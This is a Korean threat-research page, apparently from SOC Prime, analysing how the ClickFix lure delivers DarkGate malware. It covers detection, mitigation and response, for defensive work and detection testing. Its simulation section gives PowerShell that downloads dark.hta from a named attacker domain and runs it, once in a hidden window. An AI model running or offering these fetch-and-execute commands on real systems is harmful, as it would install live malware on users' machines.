SOC Prime Bias: Medium

16 Dec 2025 17:48 UTC

ClickFix 사례 연구: DarkGate 멀웨어

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
ClickFix 사례 연구: DarkGate 멀웨어
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

개요

보고서는 ClickFix라는 소셜 엔지니어링 기법을 설명하며, 사용자가 PowerShell 명령을 복사하여 실행하도록 유도하여 악성 HTA 파일을 다운로드하게 합니다. 이 HTA 파일은 디렉토리를 생성하고 파일을 드롭하며 C2 통신을 설정하는 AutoIt 스크립트를 포함한 추가 구성 요소를 다운로드합니다. 이 활동은 DarkGate 캠페인에 귀속되며, 간단한 탐지를 피하기 위해 base64 난독화와 클립보드 조작을 활용합니다.

조사

분석가들은 가짜 브라우저 확장 경고 페이지에 내장된 여러 층의 base64 인코딩 콘텐츠를 해독하고, linktoxic34.com에서 dark.hta를 가져오는 PowerShell 명령을 복구했습니다. 실행 시, HTA는 DES 루틴을 실행하고 추가 페이로드를 실행하는 AutoIt 실행 파일(fckhffh.a3x)을 배포합니다. 수집된 네트워크 텔레메트리는 악성 도메인으로의 HTTP(S) 트래픽을 보여주고, 뒤따르는 연결된 PowerShell 스크립트 실행을 보여줍니다.

완화

권장 방어책에는 알려지지 않은 코드 스니펫을 복사하지 않도록 사용자 인식 교육, 그룹 정책을 통한 Windows 실행 대화 상자 비활성화, 행동 기반 안티바이러스 솔루션 배포가 포함됩니다. 악성 도메인을 사전에 차단하고 비정상적인 PowerShell 실행을 모니터링하면 DarkGate 감염의 위험을 크게 줄일 수 있습니다.

대응

ClickFix 관련 이벤트가 식별되면, 영향을 받은 엔드포인트를 격리하고 모든 악성 프로세스를 중단하고 HTA 및 AutoIt 아티팩트를 제거하며 침입 중 생성된 모든 폴더에 대해 포렌식 분석을 수행하십시오. 의심스러운 PowerShell 및 HTA 실행 패턴을 플래그하도록 탐지 논리를 업데이트하고 관련 도메인이 환경 전체에서 차단되도록 하십시오.

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 & 기준선 사전 체크가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 촉발하도록 설계된 적 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 반드시 식별된 TTP를 직접 반영해야 하며 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령어:
    낮은 권한으로 타협된 Windows 호스트에서 접근 권한을 얻은 공격자가 ClickFix 캠페인에 사용된 악성 HTA 페이로드를 다운로드하고자 합니다. 숨어서 보관하려면 공격자는 PowerShell— Windows의 기본 도구—를 활용하여 외부 바이너리가 도입되지 않도록 합니다. 명령은 콘솔(또는 예약된 작업을 통해)에서 직접 실행되며, 규칙이 감시하는 정확한 URL을 포함합니다. 다운로드는 사용자의 %TEMP% 디렉토리에 저장되고, 그런 다음 Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • 회귀 테스트 스크립트: (자족적, 위의 단계를 재현)

    # ClickFix HTA 다운로드 시뮬레이션 – Sigma 규칙 트리거
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] 악성 HTA 페이로드 다운로드 중..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] 다운로드 완료. 페이로드 실행 중..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "다운로드 또는 실행 실패: $_"
    }
  • 정리 명령어: (다운로드된 HTA 및 실행 중인 인스턴스 제거)

    # HTA 파일 제거 및 남아있는 프로세스 종료
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] HTA 파일이 제거되었습니다."
    }
    # HTA에서 실행되었을 수 있는 프로세스 종료 (일반 예)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force